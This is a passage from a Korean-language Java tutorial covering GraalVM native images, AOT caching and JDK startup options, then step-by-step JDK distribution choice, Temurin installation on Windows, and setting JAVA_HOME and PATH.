   jdk.unsupported 를 빼면 Unsafe 를 쓰는 라이브러리가 죽습니다.
   ★ 줄인 뒤에는 반드시 통합 테스트를 다시 돌리세요.
모듈화를 안 해도 되는 경우 — 대부분입니다. ① 스프링 부트 애플리케이션 — 이득 없음, 설정 비용만 큼
② 사내 전용 라이브러리 — 팀이 규칙을 알면 패키지 컨벤션으로 충분
③ 의존 라이브러리에 자동 모듈이 많은 프로젝트 — 캡슐화가 어차피 뚫림
쓸 값어치가 있는 곳은 ① 외부에 배포하는 라이브러리·SDK (내부 패키지를 진짜로 숨길 수 있음), ② jlink 로 런타임을 줄이는 CLI·데스크톱 배포(JavaFX 의 jpackage), ③ 모놀리스 안에서 모듈 간 의존을 컴파일러로 강제하고 싶을 때. ③번은 ArchUnit(z16)이 더 싸게 같은 목적을 달성합니다.
DEEP 18

GraalVM 네이티브 이미지 · AOT

기동 50ms, 메모리 1/5. 대신 포기하는 것이 분명합니다.

JIT 과 무엇이 다른가 — closed-world

[JVM · JIT — z01]
  실행하면서 프로파일링 → 뜨거운 코드만 C2 로 컴파일
  · 어떤 클래스든 런타임에 로딩 가능 (open world)
  · 워밍업이 끝나면 ★ 피크 성능이 가장 높습니다
  · 대신 기동에 수 초, JVM·메타스페이스·코드캐시로 메모리를 씁니다

[네이티브 이미지 · AOT]
  빌드 시점에 "도달 가능한 코드"를 정적 분석해 기계어로 굽습니다
  ★ closed-world 가정 —
    "빌드 때 보이지 않은 클래스는 런타임에도 존재하지 않는다"
  · main 에서 도달 불가능한 코드는 통째로 삭제 (dead code elimination)
  · 힙 스냅샷까지 실행 파일에 넣어 둠 → 기동 즉시 준비 완료
  · 클래스로딩·검증·JIT 이 아예 없습니다 (z02·z01 이 사라짐)
항목JVM (JIT)네이티브
기동 시간2~5초30~80ms ★
첫 요청 지연워밍업 수십 초없음
RSS 메모리300~600MB50~120MB
피크 처리량기준 100%70~95% (PGO 없으면 낮음)
빌드 시간수십 초3~15분 · 메모리 8GB+
이미지 크기JRE + jar단일 실행 파일 60~150MB
숫자는 “대략”입니다. 애플리케이션·JDK 버전·GC 설정에 따라 크게 달라지므로 도입 판단은 반드시 자기 서비스로 재고 하세요. 경향만 기억하면 됩니다 — 기동·메모리는 네이티브가, 장시간 처리량은 JVM 이 이깁니다.

Spring Boot AOT — 실제 명령

// build.gradle.kts
plugins {
    id("org.springframework.boot") version "4.1.0"
    id("io.spring.dependency-management") version "1.1.7"
    id("org.graalvm.buildtools.native") version "1.1.7"   // ★ 이 줄
    java
}

graalvmNative {
    binaries {
        named("main") {
            imageName.set("order-service")
            buildArgs.add("--enable-monitoring=jfr,heapdump")  // 운영 진단용
            buildArgs.add("-march=native")                     // 배포 CPU 와 같을 때만
        }
    }
}
sdk install java 25-graal        # ① GraalVM 설치

# ② 빌드 — 스프링이 빈 정의·프록시를 "소스 코드"로 미리 생성(AOT)한 뒤 컴파일
./gradlew nativeCompile          # build/native/nativeCompile/order-service
./order-service                  # ★ Started in 0.062 seconds

# ③ 로컬에 GraalVM 이 없으면 Buildpacks 로 (도커만 있으면 됩니다)
./gradlew bootBuildImage --imageName=order:native

./gradlew nativeTest             # ④ 네이티브에서만 나는 버그를 잡는 테스트

# ⑤ 네이티브 없이 AOT 산출물만 활용 — JVM 기동 20~30% 단축
java -Dspring.aot.enabled=true -jar app.jar
먼저 nativeTest 를 CI 에 넣으세요. 네이티브 문제는 컴파일이 아니라 런타임에 드러납니다. “빌드는 됐는데 특정 API 만 500” 이 전형적인 증상이고, 그 원인은 거의 항상 다음 카드의 reachability metadata 입니다.

reachability metadata — 깨지는 이유의 90%

정적 분석은 "코드에서 따라갈 수 있는 것"만 봅니다.
문자열로 이름을 만들어 부르는 것은 따라갈 수 없습니다.

  Class.forName(props.get("driver"))     ← 빌드 때 값을 모름 → 클래스가 삭제됨
  → ClassNotFoundException (JVM 에서는 잘 되던 코드)

빌드 때 등록해 줘야 하는 것들
  · 리플렉션      생성자·메서드·필드 접근
  · 동적 프록시    Proxy.newProxyInstance 로 만드는 인터페이스 조합
  · 리소스        messages.properties · 템플릿 · *.json
  · 직렬화        Serializable 구현체
  · JNI           네이티브 호출 대상
// src/main/resources/META-INF/native-image/<group>/<artifact>/reflect-config.json
[
  { "name": "com.company.order.dto.OrderRequest",
    "allDeclaredFields": true, "allDeclaredConstructors": true,
    "allDeclaredMethods": true },
  { "name": "com.mysql.cj.jdbc.Driver",
    "methods": [ { "name": "<init>", "parameterTypes": [] } ] }
]
// 같은 폴더에 resource-config.json · proxy-config.json · serialization-config.json
# ★ 손으로 쓰지 마세요 — 에이전트가 실행을 추적해 만들어 줍니다
java -agentlib:native-image-agent=config-merge-dir=\
src/main/resources/META-INF/native-image \
     -jar app.jar
# 이 상태로 통합 테스트·주요 시나리오를 한 바퀴 돌리면 설정이 채워집니다
# (merge 라서 여러 번 돌릴수록 정확해집니다)
// 코드로 등록하는 방법 — 스프링 6+ RuntimeHints (라이브러리 저자용)
public class OrderHints implements RuntimeHintsRegistrar {
    @Override
    public void registerHints(RuntimeHints hints, ClassLoader cl) {
        hints.reflection().registerType(OrderRequest.class,
              MemberCategory.INVOKE_DECLARED_CONSTRUCTORS,
              MemberCategory.DECLARED_FIELDS);
        hints.resources().registerPattern("templates/*.html");
        hints.proxies().registerJdkProxy(OrderPort.class);
    }
}
// @ImportRuntimeHints(OrderHints.class) 를 설정 클래스에 붙입니다

// ★ 대부분의 유명 라이브러리는 이미 등록되어 있습니다
//   GraalVM Reachability Metadata Repository — 빌드 플러그인이 자동으로 가져옵니다

제약 — 못 하는 것

① 동적 클래스 로딩 불가
   런타임에 jar 를 추가해 기능을 늘리는 플러그인 구조(z02)는 불가능
② JIT 이 없음
   프로파일 기반 최적화를 못 하므로 ★ 장시간 피크 성능은 JVM 보다 낮습니다
   → PGO 로 상당히 좁힐 수 있지만 Oracle GraalVM(유료 조건) 기능입니다
③ 바이트코드 조작 런타임 불가
   ByteBuddy·CGLIB 로 "실행 중" 클래스를 만드는 라이브러리 (Mockito 기본 모드 등)
④ 클래스 초기화 시점이 다름
   빌드 때 static 초기화가 돌아 "빌드 머신의 값"이 이미지에 박힐 수 있습니다
   → 난수 시드·시각·호스트명·열린 소켓을 static 에 두면 사고
   --initialize-at-run-time=com.app.Secrets 로 미루세요
⑤ 빌드가 무겁다
   CI 에 8GB+ 메모리와 수 분이 필요 → 매 커밋 빌드는 비현실적
⑥ 진단 도구가 제한적
   JFR·힙덤프는 --enable-monitoring 으로 되지만
   jcmd 로 붙여 쓰는 상당수 기능은 없습니다 (z07 절차가 그대로 안 통합니다)

기동을 줄이는 다른 선택지

기술방식 · 효과대가
AppCDS · AOT 캐시클래스 로딩·링킹 결과(와 메서드 프로파일)를 아카이브로. 기동 20~40% 단축. -XX:AOTCache(JDK 24 · JEP 483)로 시작해 릴리스마다 쓰기 쉬워졌습니다 (아래 표)거의 없음 ★ 가장 먼저 시도
CRaC워밍업까지 끝난 프로세스를 체크포인트로 저장 후 복원. 기동 수십 ms + 피크 성능 유지리눅스·특정 JDK 필요. 열린 커넥션·비밀값 처리에 코드 수정
Leyden“조기 실행(premain)”으로 AOT 를 표준 JDK 에 들이는 프로젝트. 캐시 관련 성과는 이미 JDK 24·25·26 에 차례로 들어왔습니다진행 중 — 전체 상은 아직 미확정
네이티브 이미지기동·메모리 최고이 카드의 ①~⑥ 전부

AOT 캐시 — 릴리스별 진행 상황

JDKJEP무엇이 좋아졌나
24JEP 483 AOT 클래스 로딩·링킹 — 클래스를 미리 읽고 링크해 캐시에 담습니다 (시작점)
25JEP 514 명령이 한 줄로 — -XX:AOTCacheOutput 하나로 훈련 실행과 캐시 생성이 합쳐졌습니다 (전에는 record → create → use 3단계)
25JEP 515 메서드 프로파일까지 캐시 — JIT 이 워밍업을 처음부터 다시 하지 않아 기동 직후의 피크 성능 도달이 빨라집니다
26JEP 516 어떤 GC 에서도 동작 — 캐시를 만들 때와 쓸 때의 GC 가 달라도 됩니다. ★ ZGC 를 쓰면 AOT 캐시를 못 쓰던 제약이 풀렸습니다
# JDK 24 — 3단계 (JEP 483)
java -XX:AOTMode=record -XX:AOTConfiguration=app.aotconf -jar app.jar   # ① 훈련
java -XX:AOTMode=create -XX:AOTConfiguration=app.aotconf \
     -XX:AOTCache=app.aot -jar app.jar                                  # ② 캐시 생성
java -XX:AOTCache=app.aot -jar app.jar                                  # ③ 사용

# JDK 25+ — 한 줄로 끝 (JEP 514) · 프로파일까지 담깁니다 (JEP 515)
java -XX:AOTCacheOutput=app.aot -jar app.jar    # 훈련 실행 한 번 → 종료하면 캐시가 나옴
java -XX:AOTCache=app.aot -jar app.jar          # 이후 실행

★ 훈련은 "실제와 비슷한 요청"을 한 번 태우는 게 핵심입니다
  스프링이면 기동 후 헬스체크·대표 API 를 몇 번 호출하고 종료시키세요.
★ 캐시는 JDK 버전·클래스패스에 묶입니다 — 둘 중 하나가 바뀌면 다시 만들어야 합니다
  (Docker 이미지 빌드 단계에서 만들어 이미지에 함께 넣는 게 정석입니다)
“기동이 느리다”의 원인이 정말 JVM 인지 먼저 보세요. 스프링 기동 3초 중 2초가 DB 커넥션 풀 초기화·Flyway·외부 설정 조회인 경우가 흔합니다. 그 상태로 네이티브를 만들면 기동은 여전히 2초입니다. -Ddebug=true 나 ApplicationStartup 으로 구간을 먼저 재세요.
쓸 때 / 쓰지 말 때
✅ 서버리스·Lambda·Cloud Run — 콜드 스타트가 곧 비용이자 지연
✅ CLI 도구 — 실행 시간이 수백 ms 인 프로그램에 JVM 기동은 낭비
✅ 사이드카·에이전트 — 인스턴스마다 뜨므로 메모리 절감이 곱해집니다
✅ 스케일아웃이 초 단위로 일어나는 트래픽(⚡ k12 대기열 개방)
❌ 24시간 도는 일반 웹 서비스 — 기동은 하루 한 번, 처리량은 JIT 이 이깁니다
❌ 리플렉션·동적 프록시가 많은 레거시 의존성이 섞인 프로젝트
❌ CI 예산이 빠듯한 팀 — 빌드 시간이 배포 리듬을 망칩니다
중간 답: 먼저 AppCDS/AOT 캐시 → 그래도 부족하면 CRaC → 콜드 스타트가 본질이면 네이티브. (z10 의 애너테이션 프로세서 기반 설계가 어느 쪽이든 유리하게 만듭니다)
네이티브 이미지 — 시작 속도를 사고, 유연함을 팝니다 0 50 100 처리량 % (JIT 최고 = 100) 0 10 20 30 40 50 60 s JIT (JVM) — 기동 1.5 s, 예열 뒤 최고 네이티브 — 0.05 s 에 떠서 약 80% ≈13 s 에서 역전 — 이후는 JIT 가 앞섭니다 기동 1.5 s 동안 처리 0 얻는 것 시작 수십 ms · 메모리 적게 · JVM 동봉 불필요 — 서버리스 · CLI 치르는 것 리플렉션·프록시 제한 · 긴 빌드 · 플랫폼별 빌드 스프링 부트 3 부터는 필요한 설정을 상당 부분 자동으로 만들어 줍니다 — 예전보다 훨씬 쉬워졌습니다 빌드는 되는데 실행 중에 클래스를 못 찾는 오류가 흔합니다 — 반드시 실제로 실행해 확인하세요
고르는 기준은 성능 일반이 아니라 시작 시간이 중요한 워크로드인가입니다.
Temurin 25 LTS · JAVA_HOME · Gradle 9 · IntelliJ · start.spring.io — 2026 기준

아무것도 없는 PC 에
자바 개발 환경을
처음부터 세웁니다

자바를 시작하는 사람의 절반은 문법이 아니라 설치에서 막힙니다. “'java'은(는) 내부 또는 외부 명령이 아닙니다”, “javac 가 없다는데요”, “Unsupported class file major version 69” — 전부 JDK 를 어디에 깔았고 무엇이 그것을 가리키는가 하나의 문제입니다. 이 탭은 어느 사이트에서 무엇을 받아, 설치 마법사의 어느 체크박스를 켜고, 환경 변수 화면의 어느 칸에 무엇을 넣고, 어떤 명령으로 확인하는지까지 한 단계도 건너뛰지 않고 적었습니다. 끝나면 빈 PC 를 받아도 30분 안에 ./gradlew bootRun 이 도는 상태로 만들 수 있습니다.

12SECTIONS
25기준 LTS
0사전 지식
30분목표 시간
SETUP 01

어떤 JDK 를 깔아야 하나 — 배포판과 버전 고르기

파이썬은 “파이썬을 깐다”가 끝이지만, 자바는 같은 자바를 만드는 회사가 예닐곱 곳입니다. Oracle · Temurin · Corretto · Zulu · Liberica · Microsoft · GraalVM — 이름만 보면 다른 언어 같지만 안에 든 것은 거의 같습니다. 여기서 5분만 정리하면 “뭘 받아야 하죠?”가 영원히 끝납니다.

JDK 배포판 고르기 — 질문은 딱 하나입니다 이 자바를 어디에 쓰나? 배우거나 · 회사 개발 대부분 여기에 해당합니다 돈 안 냄 · 제약 없음 AWS 위에서 운영 EC2 · Lambda · ECS 그 환경에서 검증된 것 유상 지원 · 사내 규정 장애 시 전화할 곳 필요 감사 · 조달 요건 Eclipse Temurin adoptium.net · 이 탭의 기본 Amazon Corretto AWS 가 직접 패치 · 무료 Oracle JDK · Azul 구독 계약 후 사용 셋 다 같은 OpenJDK 소스에서 나옵니다 — 내 코드는 어느 쪽에서도 그대로 돕니다 고민되면 Temurin 25 LTS. 나중에 배포판을 바꿔도 코드는 한 줄도 안 고칩니다
배포판은 성능이 아니라 지원 정책으로 고릅니다 — 속도 차이는 사실상 없습니다.

배포판 비교표 — 2026년 8월 기준

배포판돈특징 · 누가 쓰나
Eclipse Temurin
Adoptium
무료 사실상의 표준. 비영리 재단이 빌드 · 인증(TCK 통과). 설치 마법사가 JAVA_HOME 을 대신 잡아 줍니다 ★
Amazon Corretto무료 AWS 가 자사 서비스에 쓰는 그 빌드. Lambda·ECS 와 궁합. 장기 무상 패치
Microsoft Build of OpenJDK무료 Azure · VS Code 사용자에게 편함. winget 로 한 줄 설치
Azul Zulu무료
+유상
무료판도 충분. 유상판(Platform Prime)은 지연 시간에 특화된 JVM을 팝니다
BellSoft Liberica무료 JavaFX 를 품은 “Full” 빌드가 따로 있어 데스크톱 앱에 편합니다. 컨테이너용 초경량 버전도 있음
GraalVM
Oracle
무료 일반 JDK 로도 쓰지만 목적은 네이티브 이미지(st11). 평소 개발용으로 굳이 고를 필요는 없습니다
Oracle JDK조건부 2026 현재 NFTC 라이선스 — 최신 릴리스는 상용 포함 무료지만 지원 종료 후 계속 쓰면 유상. 회사에서는 법무 확인 필요 ★
Oracle 만 라이선스를 신경 씁니다 — 나머지는 전부 GPLv2 + Classpath Exception 이라 상용 제품에 넣어도, 서버에 깔아도 아무 조건이 없습니다. “회사 PC 에 Oracle JDK 를 깔았다가 감사에 걸렸다”는 이야기가 실제로 있어서, 기본값을 Temurin 으로 두는 회사가 압도적으로 많습니다.

버전 — LTS 만 보면 됩니다

버전나온 때지금 어떤 위치인가
82014레거시. 아직 현업에 남아 있지만 새로 고르지 않습니다
11 LTS2018구형 서비스 유지보수용. 새 프로젝트에는 쓰지 않습니다
17 LTS2021아직도 가장 많이 돌아가는 버전. 기존 프로젝트를 받으면 보통 이것
21 LTS2023가상 스레드가 들어온 분기점. 라이브러리 호환이 가장 넓어 안전한 선택 ★
25 LTS2025-09현행 LTS. 새로 시작한다면 이것 ★
262026-03non-LTS(6개월). 새 기능 구경용이지 실무 기본값이 아닙니다
2026년 8월의 정답 — 혼자 배운다 · 새 프로젝트 → Temurin 25 LTS. 회사 프로젝트를 받아서 한다 → 그 프로젝트가 쓰는 버전(대개 17 또는 21). 둘 다 깔아 두고 갈아 끼우는 방법은 st05 에 있습니다 — 이게 실무의 실제 모습입니다.
LTS 가 뭔가 — Long Term Support. 자바는 6개월마다 새 버전이 나오는데 그중 2년에 하나만 여러 해 동안 보안 패치를 받습니다. 그것이 LTS 입니다. non-LTS(22·23·24·26…)는 6개월 뒤 패치가 끊깁니다. 그래서 실무는 LTS 만 씁니다. 지금까지의 LTS 는 8 · 11 · 17 · 21 · 25.

JDK · JRE · JVM — 셋의 관계 🟢 기초

JDK 안에 JRE 가 있고 JRE 안에 JVM 이 있습니다 JDK — 개발자가 설치하는 것 (이것 하나만 깔면 끝) 개발 도구 javac — 컴파일러 jar · javadoc · jshell jlink · jpackage jcmd · jstack · jfr 전부 bin 폴더 안에 JRE — 실행에만 필요한 부분 JVM .class 를 읽어 실행 JIT · GC · 스레드 표준 라이브러리 java.base · java.sql … rt.jar 대신 모듈로 java 명령은 JRE 쪽만 씁니다 — 그래서 "JRE 만 깔린" PC 에서는 javac 가 없습니다 자바 9 부터 JRE 를 따로 배포하지 않습니다 — 서버에도 그냥 JDK 를 깝니다 실행 전용으로 용량을 줄이고 싶으면 jlink 로 필요한 모듈만 뽑습니다 (st11) 도커 이미지 이름의 -jre 접미사가 바로 그 "실행 전용" 빌드입니다 정리 — 무엇을 깔지 고민할 필요 없이 JDK 를 깔면 전부 들어 있습니다
“JRE 를 따로 받아야 하나요?” — 아니요. 요즘은 JDK 하나가 정답입니다.

이름만 알면 되는 실행 파일들

명령하는 일 · 언제 마주치나
java실행. java -jar app.jar 이 배포의 전부입니다
javac컴파일. 이게 없으면 JDK 가 아니라 JRE 입니다 ★
jar클래스 파일 묶기 · 내용 들여다보기 jar tf app.jar
jshell파이썬 REPL 같은 대화형 셸. 문법 실험에 최고
jlink / jpackage런타임 잘라 내기 / 설치 파일 만들기 (st11)
jcmd jstack jmap돌고 있는 JVM 들여다보기 — 장애 대응의 기본 도구
keytool인증서 · 키스토어. HTTPS 붙일 때 만납니다
전부 JAVA_HOME/bin 안에 나란히 있습니다. 그래서 PATH 에 그 폴더 하나만 넣으면 이 명령이 전부 살아납니다. st03 이 통째로 그 이야기입니다.

지금 내 PC 에 뭐가 있는지부터

# 아무 터미널에서나 (PowerShell · cmd · zsh · bash)
java -version
javac -version

# 셋 다 확인해야 진짜입니다
#   ① java  가 있나        → 실행 가능한가
#   ② javac 가 있나        → 컴파일 가능한가 (JDK 인가)
#   ③ 어디에 있는 것을 쓰나 → 버전이 섞이지 않았나

# 윈도우 — 어느 파일이 실제로 불리는지
where.exe java
where.exe javac

# 맥 · 리눅스
which -a java javac

# JAVA_HOME 이 잡혀 있는지 (여기가 비면 Gradle 이 헤맵니다)
echo $JAVA_HOME          # 맥 · 리눅스
echo $env:JAVA_HOME      # PowerShell
여기서 아무것도 안 나오면 정상입니다 — 아직 안 깔린 것뿐입니다. 윈도우는 st02, 맥·리눅스는 st04 로 가세요. 반대로 java 는 되는데 javac 만 없다면 JRE 만 깔린 상태이거나 오래된 C:\Program Files\Java\jre1.8.0_xxx 가 PATH 를 잡고 있는 것입니다(st12).

한 단계 더 — 회사에서는 어떻게 정하나 🟡 중급

현실적인 조합 세 가지

상황내 PC서버 · 컨테이너
혼자 학습Temurin 25없음
스타트업 · 신규Temurin 25eclipse-temurin:25-jre
AWS 중심Corretto 21amazoncorretto:21
레거시 유지보수Temurin 17 + 21기존 이미지 그대로
대기업 · 조달사내 배포판사내 레지스트리 이미지
내 PC 와 서버의 배포판이 달라도 됩니다 — 바이트코드는 같습니다. 중요한 것은 메이저 버전입니다. 내 PC 가 25 인데 서버가 17 이면 Unsupported class file major version 이 납니다(st12). 그래서 Gradle toolchain 으로 버전을 코드에 박아 둡니다(st06).

받는 곳 — 공식 주소만 씁니다

Eclipse Temurin   https://adoptium.net/temurin/releases/
Amazon Corretto   https://aws.amazon.com/corretto/
Microsoft OpenJDK https://learn.microsoft.com/java/openjdk/
Azul Zulu         https://www.azul.com/downloads/
BellSoft Liberica https://bell-sw.com/pages/downloads/
GraalVM           https://www.graalvm.org/downloads/
Oracle JDK        https://www.oracle.com/java/technologies/downloads/

패키지 매니저로 받는 편이 더 빠릅니다
  Windows   winget install EclipseAdoptium.Temurin.25.JDK
  macOS     brew install --cask temurin@25
  Linux     apt / dnf (st04) 또는 SDKMAN (st05)
검색 결과 첫 줄을 조심하세요 — “java download” 로 검색하면 광고나 재배포 사이트가 위에 오는 경우가 있습니다. 주소창에 위 도메인을 직접 치는 것이 가장 안전합니다.
정리 — 배포판은 Temurin, 버전은 25 LTS(회사 프로젝트가 있으면 그 버전). 받는 곳은 adoptium.net. JRE 는 따로 받지 않고 JDK 하나면 됩니다. 배포판을 바꿔도 코드는 한 줄도 안 바뀝니다 — 그러니 고민에 시간 쓰지 마세요.
SETUP 02

윈도우 설치 — Temurin 25 LTS 를 끝까지 따라 깔기

화면에 무엇이 뜨고 어디를 눌러야 하는지 전부 적었습니다. 체크박스 두 개만 제대로 켜면 뒤에 나올 환경 변수 삽질(st03)을 통째로 건너뛸 수 있습니다. 그 두 개가 무엇인지가 이 섹션의 핵심입니다.

윈도우 Temurin 설치 — 여섯 단계, 10분 1 adoptium.net 접속 — OS · 아키텍처 · 버전 고르기 Windows · x64 · JDK 25 - LTS. 페이지가 알아서 맞춰 주지만 눈으로 한 번 확인합니다 2 파일 형식은 .msi — .zip 이 아닙니다 zip 은 압축만 풀 뿐 환경 변수를 안 잡아 줍니다. msi 를 받으세요 (약 180MB) 3 설치 마법사 실행 → "사용자 지정 설치" 화면까지 라이선스 동의까지는 그냥 Next. 다음 화면에서 반드시 멈춥니다 4 JAVA_HOME 과 PATH 두 항목을 "설치함" 으로 바꾸기 ★ 기본값이 X 표시(설치 안 함)입니다. 이 한 단계를 놓치면 st03 을 손으로 해야 합니다 5 설치 완료 → 열려 있던 터미널·IDE 를 전부 닫고 새로 열기 환경 변수는 "새로 뜨는 프로세스"에만 전달됩니다 — 이것 때문에 안 된다고 착각합니다 6. java -version 과 javac -version 이 둘 다 25 를 뱉으면 성공입니다
전체에서 실수가 나오는 곳은 4단계 하나입니다 — 나머지는 전부 Next 입니다.

① 어디서 무엇을 받나 — 화면 그대로

https://adoptium.net/temurin/releases/

  화면 위쪽 필터 네 칸
    Operating System   Windows
    Architecture       x86_64        ← 요즘 PC 는 전부 이것
                       aarch64       ← ARM 노트북(Snapdragon 등)일 때만
    Package Type       JDK           ← JRE 아님 (st01)
    Version            25 - LTS      ← 21 - LTS 도 안전한 선택

  아래 표에서 받을 줄
    Windows  x64  JDK  25.0.x  |  [ .msi ]  [ .zip ]  [ checksum ]
                                   ~~~~~~ 이것 ★

  파일 이름 예
    OpenJDK25U-jdk_x64_windows_hotspot_25.0.2_12.msi
x64 인가 ARM 인가 — 설정 → 시스템 → 정보 → “시스템 종류”를 보면 나옵니다. x64 기반 프로세서 면 x86_64, ARM 기반 이면 aarch64 입니다. 잘못 받으면 설치는 되는데 실행이 안 되거나 느려집니다.

② 마법사에서 켜야 하는 두 줄 ★

Custom Setup 화면 (트리 모양 목록)

  Eclipse Temurin JDK with Hotspot
   ├─ ✔ Add to PATH                ← 반드시 켬 ★
   ├─ ✔ Associate .jar             (선택 · 켜도 무방)
   ├─ ✔ Set JAVA_HOME variable     ← 반드시 켬 ★★
   └─ ✘ JavaSoft (Oracle) registry keys   ← 꺼 둡니다

  ✘ 로 보이는 항목을 켜는 법
    항목 왼쪽 아이콘 클릭
      → "Will be installed on local hard drive" 선택
    (드롭다운의 맨 위 항목입니다)

설치 경로 (기본값 그대로 두세요)
  C:\Program Files\Eclipse Adoptium\jdk-25.0.x-hotspot\
JavaSoft registry keys 는 끄는 편이 낫습니다 — 레지스트리에 “이 PC 의 자바는 나”라고 등록하는 옵션인데, 여러 JDK 를 오갈 때(st05) 옛날 설치 흔적과 충돌해 엉뚱한 버전이 잡히는 원인이 됩니다.

설치 확인 — 세 가지를 다 봐야 합니다 🟢 기초

# ── 반드시 "새로" 연 PowerShell 에서 ──────────────────────

# ① 실행기 버전
java -version
# openjdk version "25.0.2" 2026-01-20
# OpenJDK Runtime Environment Temurin-25.0.2+12 (build 25.0.2+12)
# OpenJDK 64-Bit Server VM Temurin-25.0.2+12 (build 25.0.2+12, mixed mode, sharing)
#                        ~~~~~~~ 배포판 이름이 여기 찍힙니다

# ② 컴파일러 버전 — 이게 나와야 JDK 입니다
javac -version
# javac 25.0.2

# ③ 환경 변수 — 여기가 핵심입니다
echo $env:JAVA_HOME
# C:\Program Files\Eclipse Adoptium\jdk-25.0.2.12-hotspot
#                                                        ← \bin 이 붙어 있으면 틀린 것! (st12)

# ④ 실제로 어느 파일이 불리나
where.exe java
# C:\Program Files\Eclipse Adoptium\jdk-25.0.2.12-hotspot\bin\java.exe
# ↑ 여러 줄이 나오면 JDK 가 여러 개 깔린 것입니다. 맨 윗줄이 이깁니다 (st03)

# ⑤ 진짜로 도는지 — 컴파일 없이 한 줄 실행 (jshell 대화형)
jshell
jshell> System.out.println("설치 성공! " + Runtime.version())
# 설치 성공! 25.0.2+12
jshell> /exit
네 개가 전부 나와야 “깔렸다”입니다. 하나라도 비면 st03(환경 변수)이나 st12(문제 사전)로 가세요. 특히 ③ JAVA_HOME 이 비어 있는데 ①②는 되는 상태가 가장 흔한데, 이러면 지금은 되지만 Gradle 과 IDE 에서 터집니다.
“분명 설치했는데 안 나와요”의 90% — 터미널을 안 닫았습니다. 환경 변수는 프로세스가 시작될 때 한 번 복사됩니다. 이미 열려 있던 PowerShell · cmd · IntelliJ · VS Code 는 옛날 값을 그대로 들고 있습니다. 전부 닫고 새로 여세요.

더 빠른 길 — winget 한 줄 🟢 기초

클릭 없이 설치하기

# winget 은 윈도우 10/11 에 기본 탑재입니다 (없으면 "앱 설치 관리자" 를 스토어에서)
winget --version

# 어떤 자바가 있는지 검색
winget search Temurin

# 설치 — 이 한 줄이 위의 여섯 단계를 대신합니다
winget install --id EclipseAdoptium.Temurin.25.JDK

# 21 LTS 도 나란히
winget install --id EclipseAdoptium.Temurin.21.JDK

# 다른 배포판도 같은 방식
winget install --id Microsoft.OpenJDK.21
winget install --id Amazon.Corretto.21.JDK

# 나중에 올리기 · 지우기
winget upgrade --id EclipseAdoptium.Temurin.25.JDK
winget uninstall --id EclipseAdoptium.Temurin.25.JDK
winget 설치는 JAVA_HOME 을 잡아 줄 때도 있고 아닐 때도 있습니다 — 패키지마다 다릅니다. 설치 후 echo $env:JAVA_HOME 이 비어 있으면 st03 을 그대로 따라 직접 잡으세요. 이게 오히려 정상 경로입니다.

Oracle JDK 를 깔면 뭐가 다른가

TemurinOracle JDK
받는 곳adoptium.netoracle.com (계정 불필요해짐)
설치 경로Eclipse Adoptium\Program Files\Java\jdk-25
JAVA_HOME체크박스로 설정안 잡아 줍니다 ★
PATHJDK 폴더 직접 추가C:\Program Files\Common Files\Oracle\Java\javapath 라는 간접 폴더
버전 바꾸기PATH 순서로javapath 가 끼어들어 헷갈립니다
라이선스제한 없음NFTC — 조건 확인 필요
javapath 가 사고의 단골입니다 — Oracle 설치기가 PATH 맨 앞에 …\Oracle\Java\javapath 를 꽂아 둡니다. 그 안에는 진짜 java.exe 가 아니라 바로가기가 들어 있어서, 나중에 Temurin 을 깔아도 java -version 은 계속 Oracle 을 가리킵니다. 해결은 st03 의 PATH 순서 조정, 또는 그 항목을 지우는 것입니다.
정리 — adoptium.net 에서 Windows · x64 · JDK · 25 LTS 의 .msi 를 받아 마법사에서 Set JAVA_HOME 과 Add to PATH 를 켜고, 터미널을 새로 열어 java -version · javac -version · echo $env:JAVA_HOME 세 개가 다 나오는지 확인하면 끝입니다.
SETUP 03

JAVA_HOME 과 PATH — 손으로 잡는 법을 완전히

설치 마법사가 안 잡아 줬거나, zip 으로 풀었거나, 버전을 바꿔야 할 때는 직접 넣어야 합니다. 화면 경로부터 값 하나하나까지 적었습니다. 이 두 변수가 무엇을 하는지만 이해하면 자바 설치 문제의 8할이 사라집니다.

JAVA_HOME 하나를 모두가 쳐다봅니다 JAVA_HOME C:\Program Files\Eclipse Adoptium\jdk-25... PATH %JAVA_HOME%\bin 을 추가 터미널이 java · javac 를 이름만으로 찾게 됩니다 Gradle · Maven 빌드에 쓸 자바를 JAVA_HOME 에서 먼저 찾습니다 서버 스크립트 Tomcat · Kafka catalina.bat 등이 같은 변수를 읽음 IntelliJ 자기 설정에 따로 저장 — 여기만 어긋남 JAVA_HOME 을 바꾸면 왼쪽 셋은 한꺼번에 따라옵니다 — IDE 만 따로 확인하세요 (st07) PATH 에는 경로를 직접 적지 말고 %JAVA_HOME%\bin 으로 적습니다 — 버전 교체가 한 곳으로 끝납니다 JAVA_HOME 은 bin 의 부모 폴더입니다. bin 까지 적는 것이 가장 흔한 실수입니다
PATH 에 실제 경로 대신 %JAVA_HOME%\bin 을 넣는 이유가 이것입니다 — 고칠 곳이 한 군데가 됩니다.

환경 변수 화면까지 가는 길 (윈도우 11 · 10)

가장 빠른 길
  Win + R → sysdm.cpl ,3  → [환경 변수] 버튼
  (쉼표 앞 공백이 있어야 "고급" 탭이 바로 열립니다)

또는 검색창에
  "환경 변수" 또는 "env" → "시스템 환경 변수 편집"

또는 클릭으로
  설정 → 시스템 → 정보
       → (오른쪽 또는 아래) 고급 시스템 설정
       → [고급] 탭 → [환경 변수(N)...]

열리는 창은 위아래 두 칸입니다
  ┌ 사용자 변수 ─ 나만 적용 · 관리자 권한 불필요
  └ 시스템 변수 ─ 이 PC 전체 · 관리자 권한 필요
어느 칸에 넣나 — 개인 PC 라면 사용자 변수로 충분하고, 권한 문제도 없어 편합니다. 여러 계정이 쓰는 PC 나 서비스로 도는 프로그램(윈도우 서비스, 스케줄러)이 자바를 써야 하면 시스템 변수에 넣어야 합니다. 양쪽에 다 넣지는 마세요 — 나중에 어느 쪽을 고쳤는지 헷갈립니다.

넣을 값 두 개 — 그대로 복사

① 새로 만들기 [새로 만들기(N)...] 버튼

   변수 이름 : JAVA_HOME
   변수 값   : C:\Program Files\Eclipse Adoptium\jdk-25.0.2.12-hotspot

   ※ 값은 탐색기에서 그 폴더로 들어가
      주소창을 클릭해 복사하는 것이 가장 정확합니다.
      그 폴더 안에 bin · conf · lib 가 보이면 맞습니다.
   ※ 끝에 \ 를 붙이지 않습니다.
   ※ bin 을 붙이지 않습니다.  ← 최대 빈출 실수 ★

② PATH 편집 — 목록에서 Path 를 고르고 [편집(E)...]

   [새로 만들기] → 아래 한 줄을 그대로
     %JAVA_HOME%\bin

